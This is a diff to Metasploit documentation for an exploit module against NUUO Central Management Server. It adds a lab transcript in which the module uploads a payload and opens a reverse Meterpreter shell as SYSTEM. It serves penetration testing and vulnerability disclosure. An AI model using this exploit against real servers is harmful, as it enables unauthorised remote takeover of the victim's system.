Doc update

documentation/modules/exploit/windows/nuuo/nuuo_cms_fu.md

@@ -20,7 +20,6 @@ This vulnerability is exploitable in CMS versions up to and including v2.4.
 
 This module will either use a provided session number (which can be guessed with an auxiliary module) or attempt to login using a provided username and password - it will also try the default credentials if nothing is provided.
 
-
 ## Vulnerable Application
 
 [NUUO Central Management Server (CMS): all versions below 2.5](http://d1.nuuo.com/NUUO/CMS/)
@@ -38,6 +37,37 @@ This module will either use a provided session number (which can be guessed with
 ### Testing on Windows 10 Pro x64 running NCS Server 2.4.0
 
 ```
+msf5 exploit(windows/nuuo/nuuo_cms_fu) > set rhosts 172.22.222.200
+rhosts => 172.22.222.200
+msf5 exploit(windows/nuuo/nuuo_cms_fu) > set verbose true
+verbose => true
+msf5 exploit(windows/nuuo/nuuo_cms_fu) > exploit
+
+[*] Started reverse TCP handler on 172.22.222.136:4444 
+[*] 172.22.222.200:5180 - Backing up LicenseTool.dll to TQzixBdpOiRG
+[*] 172.22.222.200:5180 - Uploading payload...
+[*] 172.22.222.200:5180 - Sleeping 15 seconds...
+[*] 172.22.222.200:5180 - Sending SENDLICFILE request, shell incoming!
+[*] Sending stage (179779 bytes) to 172.22.222.200
+[*] Meterpreter session 3 opened (172.22.222.136:4444 -> 172.22.222.200:49674) at 2019-02-19 05:46:51 -0600
+
+meterpreter > 
+[!] 172.22.222.200:5180 - Please wait a bit while we clean up
+[+] 172.22.222.200:5180 - Successfully restored LicenseTool.dll!
+...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
+[+] 172.22.222.200:5180 - We should have SYSTEM now, enjoy your shell!
+
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+meterpreter > sysinfo
+Computer        : DESKTOP-IPOGIJR
+OS              : Windows 10 (Build 17763).
+Architecture    : x64
+System Language : en_US
+Domain          : WORKGROUP
+Logged On Users : 2
+Meterpreter     : x86/windows
+meterpreter >
 ```
 
 ## References